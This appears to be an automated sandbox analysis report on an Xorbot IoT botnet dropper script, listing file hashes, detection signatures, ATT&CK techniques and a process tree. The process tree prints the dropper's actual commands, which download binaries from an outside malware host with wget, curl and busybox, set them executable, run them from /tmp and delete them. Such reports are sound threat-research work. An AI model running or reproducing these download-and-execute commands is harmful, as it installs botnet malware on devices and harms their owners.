xorbot | 6703a1af12e4dd2ca7b26491a6d717cb89e0503b073c06a2dfef3878b0f240ef

Analysis

max time kernel
149s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/11/2024, 21:05

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General

Target

bins.sh
Size

10KB
MD5

41a9cfa8d65fc7f447a86c05006a99d1
SHA1

d877ea8a4eb062ba3db1aedc1294037d07a52db5
SHA256

6703a1af12e4dd2ca7b26491a6d717cb89e0503b073c06a2dfef3878b0f240ef
SHA512

5fdb1bd620036e5ea47fb7916829b2ff65d36a57b98e49c2975f87f4ae8dab7b571e2fa34591726e3417168ba61d0b9fbc998fbf466bd9f230df83e4810d497c
SSDEEP

96:Yj/TLue1Ln7ELZxBsysKsWVxELWGT0ncr2mgEattd40qU8AYRNRNR4J1gSqu7v7/:YdEC7jWVxENqTPCZRt7jWVx1TPCZRM

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
826	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	827	b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
723	wget
738	curl
747	busybox
830	wget
831	curl

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	wget
File opened for modification	/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH	curl
File opened for modification	/tmp/xfIl91UN08IvdiLiunqLKbjNfSLKPgUg9m	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:715
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:717
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - System Network Configuration Discovery
  PID:747
- /bin/chmod
  chmod 777 b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  ./b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xfIl91UN08IvdiLiunqLKbjNfSLKPgUg9m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xfIl91UN08IvdiLiunqLKbjNfSLKPgUg9m
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:831

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/b4cDL4qJRGZMo5Ufm11hlQeLdXt79ZCiBH

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/xfIl91UN08IvdiLiunqLKbjNfSLKPgUg9m

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit